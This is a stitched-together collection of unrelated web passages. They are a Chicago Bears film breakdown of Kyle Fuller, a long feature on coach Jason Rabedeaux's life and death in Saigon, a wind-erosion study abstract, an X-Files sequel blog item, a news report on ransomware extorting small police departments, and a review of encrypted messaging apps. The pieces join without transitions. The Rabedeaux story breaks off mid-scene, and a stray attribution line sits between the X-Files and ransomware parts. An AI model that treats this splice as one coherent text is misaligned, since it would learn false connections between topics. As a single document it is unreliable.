Fuller is working out of the slot on this deep pass attempt. However, he again is right on Green, forcing a deep pass where Green has to fully lay out to catch. In this case, Dalton leads him a touch too far and it goes incomplete.
When thinking of the Bears offseason, they may have to be deciding between Prince Amukamara and Kyle Fuller to re-sign. On one hand, Amukamara has not been bad and is going to be cheaper. However, the picture shown below could show the vast contrast in the two and make the strong case to spend the cash on Fuller.
On this play, A.J. Green is lined up on Amukamara. Notice the safety over the top. With Green on Amukamara, the coaching staff is not trusting their cornerback and is giving him the proper over the top coverage.
On the play below, you can see that with Fuller on Green, they are comfortable leaving him without the safety presence. Dalton is looking at his star receiver in a one-on-one matchup. However, Green is being jammed by Fuller and Dalton is forced to look away.
Due to the lack of a pass rush, Dalton is still working from a clean pocket and has a chance to go back to Green. However, Fuller is on him all the way down the field, forcing Dalton to finally give up and thrown the ball away.
This shut down of Green was on. Green finished the game with five receptions for 64 yards. However, you can see on his route chart below that Fuller was not having it from the start, and that the Bengals were not going to keep testing him. They made sure to get Green lined up in the more favorable matchup on the other side of the field. Four of his five receptions came on the left side of the field and the other came in the slot.
The sun was just coming up in his final minutes, bringing his neighborhood out of darkness. His building sat at the intersection of two dead end streets, not quite rural but not quite urban, surrounded by abandoned, half-finished buildings and fields of camphorweed and Madras thorn trees. In the flat glow of morning light, six condo staff members had struggled to carry him to the cab, his eyes open, his breathing shallow. He weighed more than 300 pounds, nearly twice what he weighed at UTEP. All six building employees recognized him as the 49-year-old coach of the Saigon Heat who lived on the 13th floor. A young Vietnamese woman performed mouth-to-mouth and screamed again and again for him to wake up. Her wails stayed with them long after the taxi sped away.
Nobody could really say how he died, or why, not in the first hours and not in the months that would follow. In America and in Ho Chi Minh City, still called Saigon by locals, people could only guess. Family members initially told some people he'd had a heart attack. On the advice of the team, they requested no autopsy be performed. The insurance policy paid off only in the event of an accidental death. The Vietnamese media described an "accident" at home. One of his former players suspected murder, and the deep cut on his left forearm is what ER doctors call a nightstick injury, almost always a defensive wound. Friends wondered about alcohol, even drugs. It was a mystery. The death certificate, written in Vietnamese, listed the cause of death as a traumatic brain injury.
SAIGON CAN BE a dangerous place, not only because of what someone might do to you there but because of what you are allowed to do to yourself. People and their intentions come whole and leave broken. Every vice is for sale: cheap beer, snake liquor and easily scored hard drugs; private clubs where women are for rent hide above parking garages, and streetwalkers stand alone in the neon rot of crumbling doorways. There are still opium dens, like something from a 19th-century travel novel. Shame and regret grow faster than the mold creeping in wide tongues up the narrow slum alley houses. This is where the universe, with its vicious sense of humor, summoned Jason Rabedeaux in late 2011. It was the only coaching job in the world he could get. "A lot of doors were closing on him," said his agent, Keith Kreiter -- actually his former agent because Jason went radio silent on him.
Rabedeaux was a refugee and a runaway in a city founded and sustained by them. Throughout the long history of this part of the world, people would come south toward the Mekong Delta when they had nowhere else to go. Saigon was founded by exiles. The wild, beating heart of the city was out in the swamps, a place called Rung Sat -- named "The Jungle of Assassins" by the French -- where the hustlers and smugglers, pirates, gangsters and revolutionaries hid and plotted. The brothels and opium dens in Old Saigon were run and supplied from Rung Sat, and the leader of the river pirates -- a man later forced by the CIA into exile in Paris, where he'd walk down the Champs-Elysées with a tiger on a leash -- ran the city as a kingdom.
Jason Rabedeaux's
Career Timeline 1988-89: North Adams State (Assistant)
1989-94: Washington State (Assistant)
1994-99: University of Oklahoma (Assistant)
1999-2002: UTEP (Head coach)
2004-08: Marquette (Assistant)
2008-10: Jiangsu Nangang Dragons Nanjing (Head coach)
2010: Link Tochigi Brex (Assistant)
2011: Al Manama (Assistant)
2012: Sichuan Blue Whales (Assistant)
2013-14: Qingdao Double Star Eagles (Assistant)
2012-14: Saigon Heat (Assistant/Head coach)
It doesn't matter whether you believe in ghosts; the Vietnamese do, deeply, the incense burning on altars around the country lit as a peace offering to the dead. When the living don't have incense, they light and leave upturned cigarettes. The dead inhabit the things they touched and the places they died. The city's skin and bones might be long, wide avenues and airy cafes serving Ricard and water at sunset, but its blood and guts are the mangrove swamps of Rung Sat. The two worlds -- the modern city of international banks, expense-account drinkers and ironic boomtown cafes and the hot, green surrounding jungle -- are often ports of last resort. Foreigners eye other foreigners with a mix of curiosity and suspicion. "I always wonder when I meet people," says Harry Hodge, a reporter who covers the team, "'Why are you here?'"
Although many who come to live in Saigon are running away from who they used to be, Jason Rabedeaux was doing the opposite. He wanted his old life back, the life he'd utterly destroyed. In 1999, a young man, just 34, he'd been hired as the head coach at UTEP, replacing the legendary Don Haskins. By 2001, he was named Western Athletic Conference coach of the year. "He had the world by the balls," says his former assistant and best friend, Bobby Champagne, now head coach at North Alabama. "He had a house up on the hill and two country club memberships. A wife and two kids and another on the way."
Then he started losing. He began drinking heavily, to manage the stress, and started to take advantage of his celebrity. Champagne knew something was wrong when Rabedeaux missed a flight to visit a recruit; he got drunk at a bar near the airport instead. He lied to his assistants and his wife, Stephanie, not answering his phone. Stephanie went to a football game with recruits, and Rabedeaux didn't show; most everyone soon found out he was having an affair. At the end, when Stephanie packed up and took the kids, she and the mistress were both three months pregnant. He'd thrown everything away, and in the darkness of a collapsing life, he knew it. Soon after, a local woman called into a live radio show and confronted him on his philandering. Five days later, he resigned. The school took away his big salary and his country clubs and his courtesy car. Champagne saw Rabedeaux riding around El Paso on a bicycle. He lost the big house, and he lost his wife, his two sons and the unborn daughter who would never live under a roof with her dad.
Guilt and loneliness defined the coming years. After drinking himself out of an assistant coach job at Marquette, he landed in China, then Japan, then Bahrain, sometimes drunk, sometimes sober. He talked about his children constantly, even if he didn't see them much: maybe he sacrificed a life with them to preserve himself in their imaginations, wanting them to remember him for the man he used to be, not the one he was becoming. Basketball threw everything at him -- a civil war in Bahrain prompting several members of his team to join the army, a brawl getting him suspended from a Chinese semipro league for a year -- and in late 2011, when nobody else wanted him, he found out about an opening for an assistant coach in Saigon.
"Capable rejects," Saigon Heat owner and general manager Connor Nguyen says, including himself, a man who came to Asia to try again. "We're trying to build something on rejects."
Nguyen interviewed Rabedeaux, an extremely capable reject, overqualified to be an assistant coach in the upstart ASEAN Basketball League, a man with an undeniable basketball genius and his own haunted past. Rabedeaux got the job.
THE TRIBE GATHERED to say goodbye at the Congregational United Church of Christ in Eau Claire, less than two weeks after Rab died. Old coaches and players walked from rental cars toward the tall stone tower. Tom Crean came from Indiana, sharing his private jet with an NBA scout and an assistant who knew Rab. The funeral was during an open contact period, so most of Rabedeaux's old running buddies were out recruiting. "I thought there'd be more coaches," Bobby Champagne would say. He sat in a pew with former boss Kelvin Sampson.
Sampson gave the eulogy. His voice cracked when he said Rabedeaux spent 11 years working for him, first at Washington State, then at Oklahoma. Nobody there knew how guilty he felt over Rabedeaux's death. He saw Bobby in the pew and remembered better times. "For a while there," Kelvin said, smiling, "they were partners in crime."
Stephanie, Rabedeaux's ex-wife, saw all these spectral reminders of a life she'd abandoned. She'd left coaching behind a dozen years before, and now these guys moved back through her life like shadows. Anger and regret surely welled up inside her. The preacher talked about failure and weakness and regret, a melancholy sermon, reading from Paul and Timothy's letters, about the dark night of the soul, when anxiety and loneliness separated man from God. He talked of fighting the good fight, of finishing the race, of keeping the faith. The coaches hugged Rabedeaux's family, then got back into those cars and headed out to scout, or recruit, or stare at endless hours of tape, hoping to trade one more piece of themselves for a win. Few coaching stories have happy endings, and almost every career is defined by loss.
ONE OF HIS FIRST team events, in December 2011, set the tone for the weirdness he'd discover in Vietnam. As reflected light on the lush tropical trees made everything glow green, the Saigon Heat gathered at the zoo, which held a community outreach program for the team. The old Botanical Gardens, with carefully manicured shrubs and the hushed shade of tall, wide-leafed trees, evoked the long-vanished French colonial capital: cool breezes, green wrought iron gates, with Saigon spelled out in a deco font straight from a Paris Métro sign. A long avenue stretched from the entrance down to a blue-and-white tent. Monkeys screeched and slammed against the bars of their cage. Loud, strange circus music played, and Rabedeaux kept looking at his head coach, Rob Newson, as if to say: Where in the hell are we?
But he was already starting to understand his new home, which he saw as a place where chaos and beauty lived in harmony. At the zoo, he grinned and sweated and high-fived the Vietnamese families who stopped to gawk at the tall Americans and the portable basketball hoop, moms pushing strollers, dads with diaper bags in one hand and lit cigarettes in the other. Old ladies hid from the heat under their conical straw hats. Newson watched Rabedeaux work the crowd, and the Englishman had never met a more American person in his life: bubbly, open to strangers and, most of all, loud. His former players and coaching colleagues back home would have recognized him at the zoo that day. They knew the Rabedeaux who brought his own boom box into locker rooms for elaborate celebration skits, who did spot-on impersonations of many famous college coaches. "He was great at birthday parties," Sampson would say later. People gravitated toward his ineffable spark. A friend in Saigon said she knew when he walked into a room even with her back turned.
“I catch myself holding my assistants to Rab's standard.” - Kelvin Sampson, Houston Cougars
He threw himself into his new team, often the first to arrive at the office, talking late into the night with Connor Nguyen about players they might get to come to Vietnam. The team started off with seven straight losses, and Nguyen made Jason Rabedeaux his new head coach, demoting Newson. In some small way, he'd reclaimed a piece of what he'd lost.
He recruited relentlessly, as he'd done as an assistant coach for Sampson at Washington State and Oklahoma. In the handful of players he brought to Vietnam, NBA rejects and college stars a step slow for the league, he saw their deepest insecurities, one basketball exile understanding another. He found the one place in Saigon that sold American Gatorade and bought the bottles by the fistfuls for homesick players.
With strict rules limiting the number of Americans on the team, most of the players were locals. Total, Rabedeaux knew about 15 Vietnamese words, and over and over during games he'd yell "Nam Muoi!" which is slang for 50-50, as in: It's a 50-50 ball, so hustle. Curious locals that started coming to games saw the lunatic American coach sweat and scream. One practice, he picked up a stone on his walk to the practice gym, a trip he made nearly every day, past the barbershops and street food carts lining the road from his apartment. The team needed to be like this stone, he told the players, weathered and beaten yet still strong. In his other hand, he pulled out a raw egg, and he told them this is what they played like: tough-looking on the outside but soft inside. Then he crushed the egg in his hands, yolk going everywhere.
They didn't win much, missing the playoffs his first two seasons. During that time, he never drank with his co-workers, or with anyone, explaining to people that he'd had problems in the past. For two years, in fact, the people who saw him every day insist he kept himself sober, a kind of personal miracle. With poor results on the court, the team looked for a reason to fire him with cause so it wouldn't have to pay out his guaranteed contract. It couldn't find one.
Always rumored to be shutting down for good, the league hung on to existence. Looking for intel and passing along tips, Rabedeaux would meet Harry Hodge, the local beat writer, beneath the red awnings of Highlands Coffee, built like a lean-to on the back of the Opera House. Around front, the singsong tune of the ice cream man filled the air while teenage girls lounged on the steps and took selfies. The idling motorcycle drivers mistook his white face for a rich one, trying to sell their services. He barely made enough to pay child support back home. One cab driver who'd take him back to his apartment appreciated him sitting in the front seat and how, despite not speaking any Vietnamese, he always tried to smile.
HE MET A GIRL.
Her name was Hong-Nhung Nguyen, which translates as Red Velvet, like the cake. A petite woman with wavy long hair, foreigners called her Eva. She was nearly 22 and worked at his first apartment building, a towering community called The Flemington, a Western enclave with an attached grocery store and a KFC. On the wide avenue running in front of it, 200 motorbikes sped past for every car, the air thick with the exhaust and flutter of four-stroke engines. Inside, five women manned the counter, helping residents navigate the strange world beyond the shiny glass doors. One of them was Eva, and Rabedeaux zeroed in immediately. Classic Rab. Pushing 300 pounds now, having gained weight steadily since his divorce, he still fancied himself a man who had game, which, oddly, he did. Jonathan Jones, one of his players, worried that a jealous husband or angry father would come after Rabedeaux one day. Connor Nguyen never bothered meeting Eva, believing she was just another of Coach's girls.
Rabedeaux asked Eva to marry him the first time they ever met.
She laughed in his face.
"Don't joke with me," she said.
"I'm serious," he said.
She asked his age.
"35," he lied.
Whenever he'd pass her desk, he'd smile. She'd smile back. They became friends, then six months later, more. When he renegotiated his contract, he needed a copy of his passport and asked her to take care of it. She saw his birthday; he was more than a decade older than 35.
Angry, she confronted him. He tried to negotiate and flirt his way out of his lie, bringing her an apple and chocolate milk for breakfast and lunch every day for a month. She searched his name on the Internet, and the past of the man she was falling in love with scrolled before her eyes, all of it, the women and the scandal, the meteoric rise and the long, slow, spiraling fall. Her feelings scared her; she'd never dated a foreigner before, and when her friends asked why she cared for this overweight older man, she tried to explain that she'd never met someone as charismatic, or as intense about his work, or as kind when speaking about his mother. He invited her to China, where he coached in the offseason to make extra money, her first trip outside Vietnam. They spent six days together, and she demanded he tell her everything, all his mistakes and sins, to see if he were worthy of her love. He told her about his divorce, most of it anyway, and one day, he promised he'd go for a walk with her after his game. It's a promise he'd made and broken to everyone in his life going on 20 years, that he'd be with them once basketball finished. He got home exhausted, but he kept his word. They held hands, strolling through an empty Chinese city at 2 a.m., and he sang her silly songs, making up the words on the spot.
"Happy day," he sang in Vietnamese. "Happy day."
These were indeed the happiest years of Rabedeaux's life. He and Eva started to make plans, real plans, talking about marriage and children. He traveled to her province to meet her mom and dad. They called each other "honey," and she programmed it into her phone with his number. She got a new job, at a milk company, and in the morning, he'd wake her up singing, "Honey, wake up, go to the Vinamilk Tower!" In the morning, he'd make coffee for both of them and then walk her to the elevator. He let her into his secrets, telling about his mistakes as a father and husband. Whenever the stress got really bad, he'd make her American meals, often spaghetti, and tell her about his hometown, and his mother, and the cold Wisconsin winters. He wanted to take her there.
"We were going to go to America," she'd say later. "We were going to get married. We were going to have a family."
She agreed to move in with him when he began preparing for the 2014 season, in April. Her parents did not approve but couldn't control their daughter. She started the process of trying for a visa, which isn't technically impossible for a young, single female but is something very close to it.
THREE MONTHS AFTER the funeral, Bobby Champagne sips his icy mug of beer and remembers what he and his friend Jason wanted to be, all those years ago, when they were young and everything seemed possible.
"Everybody has those grand illusions," he says.
Dick Vitale once called Rabedeaux one of the five hot coaches to watch. Around the same time, the Sporting News called Champagne the WAC assistant most likely to get a D1 job.
He's still waiting.
"I'm at North Alabama," he says, smiling thinly, shaking his head.
Bobby seems melancholy, not his usual hail-fellow cynical jokester. His team has just lost, and played soft, and he worries that yelling at the players will make them turn on each other. He's had a lot of success here but always worries about getting fired. The stress eats at him. He finishes his one beer and leaves. No late night for him. His family is waiting at home. He never made it to the top, and he'll never take a team to the Final Four, but he has a yellow brick house on a corner three blocks from his office, and he comes home many afternoons to see his kids after school. He walks to work. His beautiful wife is not an ex. Bobby is one of the lucky few. He's a good man, and would be judged an enormous success in every single profession except the one he chose.
NO MATTER HOW far away from home he felt in the streets of Vietnam, Rabedeaux believed he would coach again in the United States. This belief sustained him, from his first moments in Saigon. He'd talk about it, to the other coaches, or at night in his first apartment with his roommate, journeyman center Jonathan Jones, in the honest moments before sleep. Rabedeaux was waiting on Sampson to save him. "Once Kelvin got a job," Jones says, "Rab was gonna be on the first thing smoking."
Kelvin already had rescued Rab once before -- from the hoops wasteland of an obscure Division III school -- making him part of his staff at Washington State in 1989. Basketball was Rabedeaux's vice; he barely drank, had never smoked pot or cigarettes. Since his adolescence in Wisconsin, he'd searched in locker rooms for the family he'd wanted since his split apart, and with Sampson, he found it. His compulsiveness, always a handicap, found a purpose; he arrived at Sampson's door broken, and this new job made him whole.
Rabedeaux followed Sampson to Oklahoma, becoming a top assistant and a man feared by the other coaches competing with him for players. He wrote as many as 30 letters a day to recruits in handwriting that people confused for calligraphy. Mostly, he saw things in players that no one else saw. Once he and Kelvin flew to Dallas and, before walking into a gym, Rab said, "Don't be mad." The player, Ernie Abercrombie, was an overweight guard with no other D1 offers. He became a star. A few years later, Rabedeaux took Kelvin to an empty gym where a dad was rebounding for his son, a slow-footed white kid. Kelvin eyed Rab and asked, "What are we doing here?" The slow-footed kid, Tim Heskett, broke 3-point shooting records at Oklahoma, helped the team to four straight NCAA tournaments. "He had a thing for underdogs and kids with a chip on their shoulder," Sampson says. "That's what Rab was."
They rose together, inseparable, Rabedeaux lounging around the Sampson house like one of his kids, raiding the pantry and fridge. The Sampson in-laws loved him too, and when they came to visit, he'd sit with them at the table: Kelvin, his two kids, his wife, his wife's parents ... and Rab. Long desperate for a stable father, after losing his own to divorce, he burrowed himself into the Sampson family. Without fail, Rabedeaux called Kelvin before going to sleep, every single night.
One year the Sampson family vacationed at the end of the world, an Alaskan fishing village named Haines, which sits in the cold, blue void between the bobbing masts in the marina and the snow-capped mountains of the Chilkat Range. The trip complete, a float plane readied to take them to Juneau, where they'd catch a flight back home. Fog rolled in, and nothing could take off or land. The Sampsons caught a ferry, then found a roadside motel in Juneau four or five hours later. Kelvin had tossed his luggage on the bed, exhausted, when the room's phone rang.
"Coach, what you doing?" Rabedeaux asked.
Sampson stared at the phone.
"Rab," he said, stunned, "how did you know I was in this room?"
"I got ways," Rab said.
He'd called the fishing village, then checked the ferry schedules, then called every hotel in Juneau until he found the right one. "We had the wrong person looking for bin Laden," Kelvin would joke years later, before turning wistful. "I've never seen a person like that. He was almost like your soul mate. I catch myself holding my assistants to Rab's standard."
His co-workers envied Rabedeaux's scouting reports, page after page of detail and sketches of offensive and defensive sets, something from "A Beautiful Mind." All his life, Rabedeaux had been OCD, carefully hoarding and collecting and organizing even little soaps and shampoos from hotel rooms, and now he had license to let himself become a raging maniac, hyperfocused and one-tracked, all in the name of the cause. Not only wasn't he damaged any longer, he was an almost perfect coaching machine, as long as someone gave him tasks and rewarded him with praise, and later, his friends would wonder whether maybe he should have stayed with Sampson forever. He burned bright. Sometimes, he'd do pushups and situps during staff meetings, shedding excess energy. The best assistant coaches are crazy people, and a few of the best assistants become head coaches. Every head coach, no matter how rich or famous or slick, used to be a top assistant and is, therefore, nuts. Maybe the job self-selects for broken people, or maybe it breaks them, but coaching is not for the well adjusted. Nobody was less well adjusted than Rabedeaux, so schools soon came calling. In 1999, UTEP offered him his dream job.
He didn't know whether he wanted it.
Rabedeaux came over to Sampson's house, offer in hand, confused and scared. The men sat at the round table where they'd celebrated wins and mourned losses. They talked for hours. Rab bounced from laughter to tears. It's as if he already sensed what waited for him when he left Sampson behind. Rabedeaux looked around, nostalgic and sad.
"I'll never be in this room again," he said.
"Rab, this is your chance," Kelvin said.
Finally Rabedeaux stood to leave. Nothing would ever be the same again, and no matter how melodramatic that sounds, it remains true. His life broke into two halves: the rise, which led to a round table at the Sampson house in Norman, Oklahoma, and the fall, which began almost as soon as he walked away.
"You're ready," Kelvin said, and he was wrong.
"He was so scared of losing contact, losing respect, not being a sufficient father." - Tom Crean, Indiana coach
In El Paso, away from the clarity of working hard to please Sampson, he lost himself, breaking back apart; his new bosses suspected he'd been battling these personal demons for years and now lost whatever control he'd managed to sustain in Norman. The coming years took things from both of them. Rabedeaux resigned at UTEP and lost his job at Marquette and eventually washed up in Asia; after moving to Indiana, Sampson and his staff committed so many recruiting violations that the NCAA effectively banned him from coaching in college for five years -- the rarely used "show cause" penalty. He rode out his own exile as a bench coach in the NBA. The five-year ban ended in November 2013, while Rab coached in China during the Heat offseason. Both needed a second chance. Kelvin didn't want to end his career as an NBA assistant with a bad reputation.
Rabedeaux was either sober in March 2014 or hiding his addiction masterfully, hoping to win enough games to catch the attention of someone willing to take a chance, knowing in his heart that only one man might be willing to overlook the mess he'd made of the previous 12 years. In the past month, his mom had been sick, in and out of the hospital, and he wrote Connor Nguyen from a visit to Wisconsin on March 25 and confided, "I fear this is the last time I will see her ... I hate to think that way, but she is breaking down."
Another basketball season beckoned. It was time to go back to Saigon.
He waited in the Chicago airport for his flight, preparing to leave behind a sick mother and three kids he didn't see on his last trip home, once again not matching the promise of his words with the follow-through of his actions. On the road with the Rockets, somewhere between Toronto and Brooklyn, Kelvin was one day from being announced as the new head coach of the University of Houston.
His phone rang.
"No pressure," Rabedeaux began, and, humble and desperate, he asked Sampson for a job. Sampson tried to be gentle, and he couldn't bring himself to flat-out say no, but by the time the call ended, Jason Rabedeaux knew he'd burned his final bridge, toxic even to his surrogate father. There'd be no reunion, no chance to go back to that round table and start again.
He landed the next day in Saigon. Eva says she soon started finding vodka bottles hidden in the drawers with his clothes.
TOM CREAN PUTS his feet up on a table in the afterglow of a win, safe for a night from the Indiana fans who want him fired. He's thought about Rab a lot since the funeral. Little things remind him. Two times this season, the Hoosiers played at Madison Square Garden, and both times, he stepped into the enormous old freight elevator and laughed because every time Marquette went to the Garden, Rab would sit and pretend to be the crusty elevator operator.
Bad memories inevitably follow the good ones: Rab under the influence on the bench and unable to diagram a press break in the closing possession against Georgetown, or when Crean had to demote him from assistant coach to director of basketball operations, or when he couldn't bring Rab to Indiana in 2008, worried the scrutiny of the Hoosiers fans and reporters would make hiding an alcoholic impossible. His friends went to Indiana, and Rab went overseas looking for work. Crean remembers the many sides of Rab: the comedian; the flawed genius with a high SAT score and an innate understanding of basketball; the overgrown kid; the depressed, insecure man who'd call him at night in tears, who knew what he'd thrown away.
"He was lonely," Crean says.
Crean tried over and over to save him, dipping into his own pocket, staging interventions, getting him medical help and talking to addiction specialists, working to make sure the public -- and more important, Rabedeaux's kids -- never found out. Rab talked about his children constantly to anyone who'd listen. That's why Crean thought Rab was worth saving. "I'm gonna tell you what it is," he says in his office, his voice hoarse from the game. "We got close to those boys. I never met his daughter until the funeral. He was a great father, and he was in fear of those boys not respecting him or knowing that their dad was good at what he did. I was very protective of that. He was so scared of losing contact, losing respect, not being a sufficient father."
Crean found out Rab died from another coach, the way coaches find out about all bad news, a text message early in the morning, and he didn't cry that day, or the next. He didn't cry at all until the funeral ended and he walked to the front of the church and hugged Rabedeaux's oldest son, Beau.
SOME OF THE PEOPLE at the Heat office noticed something wrong with Rabedeaux when he got back to Saigon. He'd be belligerent, reeking of booze. At restaurants, he caused scenes, shouting and dropping food on himself. At practice, the players noticed too. Word got back to Nguyen, who already suspected, mostly because of incoherent text messages, the hint of a word lost in a jumble of misplaced letters. On April 28, he asked Rabedeaux to meet him at a chain bakery in a high-end apartment complex. With exposed brick and plenty of light, the place felt completely Western.
"What's going on?" Nguyen asked.
"I'm struggling," Rabedeaux told him, explaining about missing his mom.
"Coach, what is it?" Nguyen pressed. "Are you drinking?"
"You know I don't drink."
"Are you taking drugs?"
"No."
Both left the bakery clear on the message: Another episode would end Rabedeaux's coaching career. Eva swears he'd stopped drinking by that meeting with Nguyen. Most people agree with her. Only one person, who asked not to be named, said he thought Rabedeaux switched to pills. It's hard to know. Nobody deceives more skillfully than an addict. Nguyen sensed a problem, and as insurance he brought in a new assistant, Tony Garbelotto, a veteran coach who'd lost his job in Germany. Rabedeaux recognized that his replacement was ready should he fail.
Eva's visa interview approached, scheduled for the morning of Sept. 8. The night before, the Heat faced the Westports Malaysia Dragons at home, badly needing a win to stay in playoff contention. They led by three with a little more than two minutes remaining. But Malaysia hit three of six free throws in the last minute and won by three, another late-game lead thrown away. The cameras focused on Rabedeaux in the closing seconds, shaking his head. "We'd both been through hundreds and hundreds of games," Garbelotto says. "That one hurt him."
That day, Eva had gone to the U.S. Consulate. Officials asked questions and studied her application and then, against the odds, approved her visa. She could go with Jason on Thanksgiving, and take the first steps of their new life in America. She rushed from the building, giddy, ready to share this news with Rabedeaux.
She came home, walked into the apartment beaming, almost floating.
By: Hassan Khosravi, Mahin Hanifipour, Tayebeh Sohrabi
Key Words: Wind, Precipitation, Evapotranspiration, Temperature, Wind erosion.
J. Bio. Env. Sci. 8(1), 124-132, January 2016.
Abstract
Wind erosion is a natural disaster that the arid zones in center of Iran are increasingly faced with it. Improper management of natural resources has been many effects on increasing of the phenomenon. Precipitation, temperature and wind are the most important climatic factors that influence the Lack of rainfall, rising temperatures and wind velocity increased evapotranspiration in the region. Therefore, identifying the climatic parameters can be useful for natural resources and agriculture management. Damghan City is prone to wind erosion in the North East of the country. The aim of this paper is to investigate climatic parameters (precipitation, temperature, evapotranspiration and wind) and to determine dry month of area and the effect of it on wind erosion. Based on the results of the average temperature in the month of May to mid-October, the region was dry, so that, June, July, August and September seems to be its greatest extent. The evapotranspiration exceeds rainfall all year, and rainfall is 11 times the amount of evapotranspiration. Occurrence of wind storm and evapotranspiration in May, June and July is more than the other months, also temperature rate is higher than rainfall in these months. The temperature of August and September is more than any other months that drought is severe and rainfall is at its lowest. Therefore, the climatic factors are caused the occurrence of wind erosion in the study area.
During an appearance on ‘The ‘Tonight Show,’ Duchovny was asked if there would be another ‘X-Files’ movie. “We always want to. [Creator] Chris Carter, and Gillian Anderson and I,” replied Duchovny. “We’re always on board. You know, you want to write to Fox. Get them going.”
No truer words were spoken!
Ever since the 2008 release of ‘X-Files: I Want to Believe,’ the desire for a third and final ‘X-Files’ film has been expressed, not only by fans, but also by Carter, Duchovny, Anderson and executive producer Frank Spotnitz. The only people not on board is Fox.
Fox currently owns the sequel rights to the show and apparently the studio doesn’t think that a third film would be profitable for them despite the massive cult following the franchise has. ‘I Want to Believe’ only earned about $63.4 million worldwide – a very dismal outing considering the first film earned $189 million. Of course, fans (and the producers) know why the second film tanked and Spotnitz even addressed this saying that he’d like to see a final movie brought back to the series’ roots of alien colonization and government conspiracy storylines.
Fans have been doing their part with write in campaigns in the past, but with the 20th anniversary of the show’s debut coming up in September, a third film would be a great cap to it all. Obviously it would be too late to get a feature film made to commemorate their 20th anniversary but maybe a serious development of the project could get started – even if it meant having a film release for a possible 25th anniversary film.
Duchovny, on his end, doesn’t mind how long it will take to get a film made. “You could wheel me out. I’ll be Fox Mulder forever.”
The details come from an NBC affiliate's report.
Weeks earlier, an email attachment downloaded by someone inside his law enforcement agency released a virus that crippled its computer system. Put simply, all the electronic data in their possession was suddenly encrypted and inaccessible.
They were robbed of access to their own information.
Then the ransom request arrived: An anonymous hacker wanted $300 in exchange for an encryption key, or passcode, that would instantly unscramble the data.
For a while, Sheriff Brackett's computer experts labored to recover access without paying up. The longer they failed the more the top cop had to choose between making a payment that would give hackers an incentive to target other victims or refusing—at the cost of his operation grinding to a halt, crippled by missing files. The payment was made in Bitcoin, per the instructions of the hacker, and traced as far as a Swiss bank account by the FBI, which could follow it no farther.
The case was not unique. A similar scheme succeeded against Houlton, Maine, where officials paid a $588 ransom. In Tewksbury, Massachusetts, cops paid $500. And a Boston Globe roundup suggests that many other police agencies have been hit, with at least one refusing to pay a ransom and losing all of their data:
Among other small-town police forces hit was the Swansea Police Department. It fell victim to the same threat in November 2013 and paid $750 to get its files back. The police department in the Chicago suburb of Midlothian paid $500 in January. In Dickson County, Tenn., the sheriff’s office came under attack in October. Despite seeking aid from the FBI, the agency ended up paying $572 in ransom. But in Durham, N.H., Police Chief Dave Kurz chose not to pay because the department had backed up the encrypted information and could work around the seized database. “We had to clean essentially all the computers, but all of our data was prepared,” Kurz said. The four-member police force in Collinsville, Ala., was hit in June, with the hackers demanding $500 to free up a database of mugshots. Chief Gary Bowen dug in, refused to pay, and never got his department’s files back. “There was no way we were going to succumb to what felt like terrorist threats,” Bowen said.
But what if you care about privacy in a post-DISHFIRE world and would like to securely communicate with your friends and family? What if you have an iOS phone but some of your friends are on Android (or vice-versa)? What if you want something that works as well as standard SMS or, perish the thought, even better? Sadly, things are currently quite bleak. But there are a few options out there, and some of them are getting tantalizingly close to making your dreams come true.
The ideal client would:
Provide strong encryption, preferably using peer-reviewed common libraries and well-designed protocols instead of home-grown implementations
Be open source
Run on Android and iOS
Use the data channel instead of SMS/MMS Avoids leaking metadata to the telecom companies who have seemingly been desperate to provide as much information as possible, on a completely unprecedented scale, to any and all three-letter agencies Much better performance (e.g. messages are sent and received more rapidly) Allows for higher fidelity images, and videos that don’t make RealPlayer streams circa 1996 look like flawless 4k encodings in comparison
Work well in an asynchronous mobile environment and be able to handle imperfect Internet connections or situations where both clients might not be online simultaneously
It seems more than appropriate on The Day We Fight Back to take a look at the various options that are available right now:
The Guardian Project recently rebranded their Gibberbot client as ChatSecure in order to match Chris Ballinger’s iOS client of the same name. The move was not without controversy. But, hey, ChatSecure uses OTR and everyone loves OTR! It’s a proven solution, and as a nice side-benefit ChatSecure is able to work with all of the various desktop applications that support XMPP.
The bad news is that maintaining a persistent connection to an XMPP server on a mobile device doesn’t perform very well. It sort of works on Android, but frequent server disconnects, dropped messages, and reduced battery life make it a frustrating experience. It’s not even possible on iOS. The iOS version of ChatSecure can only run in the background for ten minutes before it gets shut down by the operating system. This is annoying enough that the sole question in the ChatSecure FAQ is one that addresses the issue.
When it’s running, ChatSecure works incredibly well; messages arrive instantly and OTR protects their contents. The Guardian Project also deserves special recognition for the ancillary tools like KeySync that they are developing alongside ChatSecure. KeySync makes it possible to transfer your desktop OTR keys and fingerprints to the Android client so that you can seamlessly communicate with existing contacts while leveraging the trust database that you’ve already established.
But the iOS situation makes regularly using ChatSecure completely, heartbreakingly, untenable—even if you have a very patient friend. You can try to let the iOS client initiate all of the conversations and condition yourself to reply really, really quickly. Or perhaps the Android side could send an SMS to the iOS side saying “Relaunch ChatSecure so we can talk” and then wait patiently, ready to pounce? God help you if you are both on iOS because then ten minutes becomes a best-case scenario.
The Android and iOS clients both fail to provide adequate warnings when a conversation is not encrypted. If you install a program called ChatSecure whose description proudly (and repeatedly) touts its built-in cryptographic prowess, security should be enforced. Bogging users down in the mundanity of manually-triggered OTR handshakes and miniscule on/off switches is the wrong approach, and it is potentially very dangerous if it leads to people speaking freely in accidental plaintext (which has almost certainly occurred). A warning message that says something like “A conversation with this user is not possible because their client does not support OTR encryption” would be dramatically better than falling back to no encryption whatsoever. Users should have to dig deep in an Advanced Settings menu and dismiss several prominent warning dialogs before they are allowed to communicate in plaintext.
If you talk to someone who is extremely tech-savvy at exactly the same time every day for around ten minutes, ChatSecure is perfect! Otherwise it’s not even remotely close to a cross-platform replacement for SMS. Fortunately, The Guardian Project and Chris Ballinger appear to be aware of this and are working on a solution that uses push notifications, though the last commit happened almost four months ago.
Pros:
OTR has stood the test of time and is widely considered to be very secure
Both clients are open source and on GitHub
Available today
The Android version is capable of working with The Guardian Project’s Orbot client to route traffic over the Tor network for greater anonymity
Self-hosted XMPP servers are fully supported
Cons:
Apple doesn’t allow background processes, and ChatSecure does not support push notifications. The iOS version is therefore almost useless.
The clients share a name but do not share the same functionality. The Android version, for instance, offers encrypted picture messaging and voice attachments. The iOS version does not. The Android version lets you import your OTR identity with KeySync. The iOS version does not. The rebranding effort probably should have waited until the two clients worked together under realistic circumstances and when they were closer to feature parity.
The future of XMPP is looking bleak, particularly now that Google—one of its former champions—has abandoned the standard in favor of their proprietary Hangouts format
